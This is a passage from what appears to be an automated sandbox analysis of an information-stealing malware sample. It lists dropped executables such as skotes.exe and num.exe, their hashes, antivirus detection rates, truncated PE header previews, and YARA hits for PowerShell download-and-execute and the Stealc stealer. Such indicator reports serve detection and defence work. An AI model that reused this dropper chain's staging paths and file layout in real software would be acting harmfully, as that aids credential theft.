	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\1USEAVXFST1CCUTT4RKEBB0FQ1.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1821696
Entropy (8bit):	7.947492864720479
Encrypted:	false
SSDEEP:	49152:h+n/JIP2boz0A4dQyXf2xoC4HJs3lePpHLV:h+n/JI+Ez0dTOx6a1eBr
MD5:	20A21EC73989A782B2B0243F0ED123BA
SHA1:	E81022B1710D56722B6F61B61C7D4A798D9DCBBA
SHA-256:	8313F9DAD601A181E4EC94751F43C08AE280504DB80C68FBB6FF86E26902D38B
SHA-512:	EC49719A1298ED09E256E94DC6B08033AEA72630B8FD692A77A6551BBACB5ECE8733F01C5972146EACB70C020FF46493ECBE4B895935D3B5B41C14861C18984B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$.......h...........@...........................i......V....@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... .p)...%......:..............@...letztgfz.p...PO..j...<..............@...rrfcshya......h.....................@....taggant.0....h.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	314368
Entropy (8bit):	6.339296840269838
Encrypted:	false
SSDEEP:	6144:BMi8gYtUokCulxMfpbSGePV0l0F1nE7w+Uw3NKR9hU/W9:2tUoH3IGgVRF14wx8KRF9
MD5:	791FCEE57312D4A20CC86AE1CEA8DFC4
SHA1:	04A88C60AE1539A63411FE4765E9B931E8D2D992
SHA-256:	27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D
SHA-512:	2771D4E7B272BF770EFAD22C9FB1DFAFE10CBBF009DF931F091FB543E3132C0EFDA16ACB5B515452E9E67E8B1FC8FE8AEDD1376C236061385F026865CDC28D2C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: g4Cyr2T5jq.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......i............@...........................&...........@.................................(...<.............................%..$...................................................................................text............................... ....rdata..............................@..@.data.....#.........................@....reloc...E....%..F..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2949632
Entropy (8bit):	6.55501869285618
Encrypted:	false
SSDEEP:	49152:TfT6nSDwYlpEP/1qM9DQvY+Hm8B0BH4TMlE:rxDwSpdMVQvtB0BH4TMlE
MD5:	20430D8D39ABDF5FC6B9654A561B7E83
SHA1:	9D1C8689F22D03701E34AFD63E0BDA0A627BB8B8
SHA-256:	69D745BDCCDF2C55A32B1FCB94CE3B99E389978E505F8B6ADD95FC11A043E8B4
SHA-512:	596313A48D8401F02BAAFCC99615B6839470D8387786EC55E108B95469DA23234B4147792E45785D18DE8CA9FEFD4FA66C65191D9BB7F4637E8C17C2ACA68A79
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f..............................0...........@...........................0.....?.-...@.................................W...k................................................................................................................... . .........^..................@....rsrc .............n..............@....idata .............n..............@...czpsekko.p......l..p..............@...spvyrroo.....p0.......,.............@....taggant.0....0.."....,.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584648027068244
Encrypted:	false
SSDEEP:	12288:rqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgarT4:rqDEvCTbMWu7rQYlBQcBiT6rprG8av4
MD5:	977038EB3A4497AD51F742FA49E90CEF
SHA1:	BE01E9D26625236E8D24C5F5829E2CD8053FF8AF
SHA-256:	D57378239A7923D784DD1AC34E12314A46B0348EB245B9BEC4C52EBB42D1B3CD
SHA-512:	8182164921BA7AA092F6A58A4CB506C205DA26D861F500FB4181F363656B77C4FEE51CCA1F831251D88719B3F4578F5F100B127C263AE05013E98A42D9B5EB91
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L....g.g.........."..........X......w.............@..........................`......t.....@...@.......@.....................d...\|....@..$........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...$....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2949632
Entropy (8bit):	6.55501869285618
Encrypted:	false
SSDEEP:	49152:TfT6nSDwYlpEP/1qM9DQvY+Hm8B0BH4TMlE:rxDwSpdMVQvtB0BH4TMlE
MD5:	20430D8D39ABDF5FC6B9654A561B7E83
SHA1:	9D1C8689F22D03701E34AFD63E0BDA0A627BB8B8
SHA-256:	69D745BDCCDF2C55A32B1FCB94CE3B99E389978E505F8B6ADD95FC11A043E8B4
SHA-512:	596313A48D8401F02BAAFCC99615B6839470D8387786EC55E108B95469DA23234B4147792E45785D18DE8CA9FEFD4FA66C65191D9BB7F4637E8C17C2ACA68A79
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f..............................0...........@...........................0.....?.-...@.................................W...k................................................................................................................... . .........^..................@....rsrc .............n..............@....idata .............n..............@...czpsekko.p......l..p..............@...spvyrroo.....p0.......,.............@....taggant.0....0.."....,.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1821696
Entropy (8bit):	7.947492864720479
Encrypted:	false
SSDEEP:	49152:h+n/JIP2boz0A4dQyXf2xoC4HJs3lePpHLV:h+n/JI+Ez0dTOx6a1eBr
MD5:	20A21EC73989A782B2B0243F0ED123BA
SHA1:	E81022B1710D56722B6F61B61C7D4A798D9DCBBA
SHA-256:	8313F9DAD601A181E4EC94751F43C08AE280504DB80C68FBB6FF86E26902D38B
SHA-512:	EC49719A1298ED09E256E94DC6B08033AEA72630B8FD692A77A6551BBACB5ECE8733F01C5972146EACB70C020FF46493ECBE4B895935D3B5B41C14861C18984B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$.......h...........@...........................i......V....@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... .p)...%......:..............@...letztgfz.p...PO..j...<..............@...rrfcshya......h.....................@....taggant.0....h.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584648027068244
Encrypted:	false
SSDEEP:	12288:rqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgarT4:rqDEvCTbMWu7rQYlBQcBiT6rprG8av4
MD5:	977038EB3A4497AD51F742FA49E90CEF
SHA1:	BE01E9D26625236E8D24C5F5829E2CD8053FF8AF
SHA-256:	D57378239A7923D784DD1AC34E12314A46B0348EB245B9BEC4C52EBB42D1B3CD
SHA-512:	8182164921BA7AA092F6A58A4CB506C205DA26D861F500FB4181F363656B77C4FEE51CCA1F831251D88719B3F4578F5F100B127C263AE05013E98A42D9B5EB91
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L....g.g.........."..........X......w.............@..........................`......t.....@...@.......@.....................d...\|....@..$........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...$....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001229001\num.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	314368
Entropy (8bit):	6.339296840269838
Encrypted:	false
SSDEEP:	6144:BMi8gYtUokCulxMfpbSGePV0l0F1nE7w+Uw3NKR9hU/W9:2tUoH3IGgVRF14wx8KRF9
MD5:	791FCEE57312D4A20CC86AE1CEA8DFC4
SHA1:	04A88C60AE1539A63411FE4765E9B931E8D2D992
SHA-256:	27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D
SHA-512:	2771D4E7B272BF770EFAD22C9FB1DFAFE10CBBF009DF931F091FB543E3132C0EFDA16ACB5B515452E9E67E8B1FC8FE8AEDD1376C236061385F026865CDC28D2C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......i............@...........................&...........@.................................(...<.............................%..$...................................................................................text............................... ....rdata..............................@..@.data.....#.........................@....reloc...E....%..F..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2863616
Entropy (8bit):	6.486674746137199
Encrypted:	false
SSDEEP:	24576:o4hxcW5rBkj3q8iMeCGPUFhNp97zGOhuBZaalUiHjUiyS9mT1nnVt/RQ50ZbHFL:vxcSdkjEMeS1BhKlUezySaVt/RQatHF
MD5:	9ECB1B706853034FB1CECE1F7863F40C
SHA1:	9F65FE380CDD805A39E33DA2AE28F49D0A10FAB7
SHA-256:	4953DD3CFF08DC5CBD457DB8CB53E6138E4E43ABF6ED0CEE96A20BC95B7E8C4F
SHA-512:	DD618D5EE5C33611E2DE5499EFC80A681FA34050AE5EBAD52022813C39E13B894D1E6E3A24EE60956809B1CA9230A936E46677FD7F36212900246F888F798B0D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$........... ,.. ...`....@.. .......................`,.....4.,...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...pnhiajhq.`+......R+..:..............@...lwmvjhen. ....,.......+.............@....taggant.@... ,.."....+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1821696
Entropy (8bit):	7.947492864720479
Encrypted:	false
SSDEEP:	49152:h+n/JIP2boz0A4dQyXf2xoC4HJs3lePpHLV:h+n/JI+Ez0dTOx6a1eBr
MD5:	20A21EC73989A782B2B0243F0ED123BA
SHA1:	E81022B1710D56722B6F61B61C7D4A798D9DCBBA
SHA-256:	8313F9DAD601A181E4EC94751F43C08AE280504DB80C68FBB6FF86E26902D38B
SHA-512:	EC49719A1298ED09E256E94DC6B08033AEA72630B8FD692A77A6551BBACB5ECE8733F01C5972146EACB70C020FF46493ECBE4B895935D3B5B41C14861C18984B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$.......h...........@...........................i......V....@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... .p)...%......:..............@...letztgfz.p...PO..j...<..............@...rrfcshya......h.....................@....taggant.0....h.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1870848
Entropy (8bit):	7.94988799515241
Encrypted:	false
SSDEEP:	24576:xEb2vwEPIlVsPt2x1VuhV3Ifg+MOgGghDG/bk8xhaCnVAn8arYRwDBFGP2aj3FcA:g2v1KDu/SRMOgCxhknzDBFGOaiZNN
MD5:	8D5F53AD3653F36A74E84D628FF68D7B
SHA1:	ECF53B34D38F1460891DFCD10BA928EBFFEB6B5D
SHA-256:	CB866171E4CAFA0EF79A270F0D5F6468C84834A287FE728969C482969A97B041
SHA-512:	9DC5E077781C4C4B522E31E169048C3D65B880BA01699130FBCB51AE4F49B4D6EBBEEE77E7A98B3D8DB51B19F9523C9086D993A98821734CD5C455B1D838ED09
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................pJ...........@...........................J.....1.....@.................................W...k............................QJ.............................xQJ..................................................... . ............................@....rsrc...............................@....idata ............................@... .0*.........................@...wehliqok......0..r..................@...xquxcvvg.....`J......f..............@....taggant.0...pJ.."...j..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2863616
Entropy (8bit):	6.486674746137199
Encrypted:	false
SSDEEP:	24576:o4hxcW5rBkj3q8iMeCGPUFhNp97zGOhuBZaalUiHjUiyS9mT1nnVt/RQ50ZbHFL:vxcSdkjEMeS1BhKlUezySaVt/RQatHF
MD5:	9ECB1B706853034FB1CECE1F7863F40C
SHA1:	9F65FE380CDD805A39E33DA2AE28F49D0A10FAB7
SHA-256:	4953DD3CFF08DC5CBD457DB8CB53E6138E4E43ABF6ED0CEE96A20BC95B7E8C4F
SHA-512:	DD618D5EE5C33611E2DE5499EFC80A681FA34050AE5EBAD52022813C39E13B894D1E6E3A24EE60956809B1CA9230A936E46677FD7F36212900246F888F798B0D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$........... ,.. ...`....@.. .......................`,.....4.,...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...pnhiajhq.`+......R+..:..............@...lwmvjhen. ....,.......+.............@....taggant.@... ,.."....+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1821696
Entropy (8bit):	7.947492864720479
Encrypted:	false
SSDEEP:	49152:h+n/JIP2boz0A4dQyXf2xoC4HJs3lePpHLV:h+n/JI+Ez0dTOx6a1eBr
MD5:	20A21EC73989A782B2B0243F0ED123BA
SHA1:	E81022B1710D56722B6F61B61C7D4A798D9DCBBA
SHA-256:	8313F9DAD601A181E4EC94751F43C08AE280504DB80C68FBB6FF86E26902D38B
SHA-512:	EC49719A1298ED09E256E94DC6B08033AEA72630B8FD692A77A6551BBACB5ECE8733F01C5972146EACB70C020FF46493ECBE4B895935D3B5B41C14861C18984B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$.......h...........@...........................i......V....@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... .p)...%......:..............@...letztgfz.p...PO..j...<..............@...rrfcshya......h.....................@....taggant.0....h.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1870848
Entropy (8bit):	7.94988799515241
Encrypted:	false
SSDEEP:	24576:xEb2vwEPIlVsPt2x1VuhV3Ifg+MOgGghDG/bk8xhaCnVAn8arYRwDBFGP2aj3FcA:g2v1KDu/SRMOgCxhknzDBFGOaiZNN
MD5:	8D5F53AD3653F36A74E84D628FF68D7B
SHA1:	ECF53B34D38F1460891DFCD10BA928EBFFEB6B5D
SHA-256:	CB866171E4CAFA0EF79A270F0D5F6468C84834A287FE728969C482969A97B041
SHA-512:	9DC5E077781C4C4B522E31E169048C3D65B880BA01699130FBCB51AE4F49B4D6EBBEEE77E7A98B3D8DB51B19F9523C9086D993A98821734CD5C455B1D838ED09
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................pJ...........@...........................J.....1.....@.................................W...k............................QJ.............................xQJ..................................................... . ............................@....rsrc...............................@....idata ............................@... .0*.........................@...wehliqok......0..r..................@...xquxcvvg.....`J......f..............@....taggant.0...pJ.."...j..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	1870848
Entropy (8bit):	7.94988799515241
Encrypted:	false
SSDEEP:	24576:xEb2vwEPIlVsPt2x1VuhV3Ifg+MOgGghDG/bk8xhaCnVAn8arYRwDBFGP2aj3FcA:g2v1KDu/SRMOgCxhknzDBFGOaiZNN
MD5:	8D5F53AD3653F36A74E84D628FF68D7B
SHA1:	ECF53B34D38F1460891DFCD10BA928EBFFEB6B5D
SHA-256:	CB866171E4CAFA0EF79A270F0D5F6468C84834A287FE728969C482969A97B041
SHA-512:	9DC5E077781C4C4B522E31E169048C3D65B880BA01699130FBCB51AE4F49B4D6EBBEEE77E7A98B3D8DB51B19F9523C9086D993A98821734CD5C455B1D838ED09
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................pJ...........@...........................J.....1.....@.................................W...k............................QJ.............................xQJ..................................................... . ............................@....rsrc...............................@....idata ............................@... .0*.........................@...wehliqok......0..r..................@...xquxcvvg.....`J......f..............@....taggant.0...pJ.."...j..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1870848
Entropy (8bit):	7.94988799515241
Encrypted:	false
SSDEEP:	24576:xEb2vwEPIlVsPt2x1VuhV3Ifg+MOgGghDG/bk8xhaCnVAn8arYRwDBFGP2aj3FcA:g2v1KDu/SRMOgCxhknzDBFGOaiZNN
MD5:	8D5F53AD3653F36A74E84D628FF68D7B
SHA1:	ECF53B34D38F1460891DFCD10BA928EBFFEB6B5D
SHA-256:	CB866171E4CAFA0EF79A270F0D5F6468C84834A287FE728969C482969A97B041
SHA-512:	9DC5E077781C4C4B522E31E169048C3D65B880BA01699130FBCB51AE4F49B4D6EBBEEE77E7A98B3D8DB51B19F9523C9086D993A98821734CD5C455B1D838ED09
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................pJ...........@...........................J.....1.....@.................................W...k............................QJ.............................xQJ..................................................... . ............................@....rsrc...............................@....idata ............................@... .0*.........................@...wehliqok......0..r..................@...xquxcvvg.....`J......f..............@....taggant.0...pJ.."...j..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

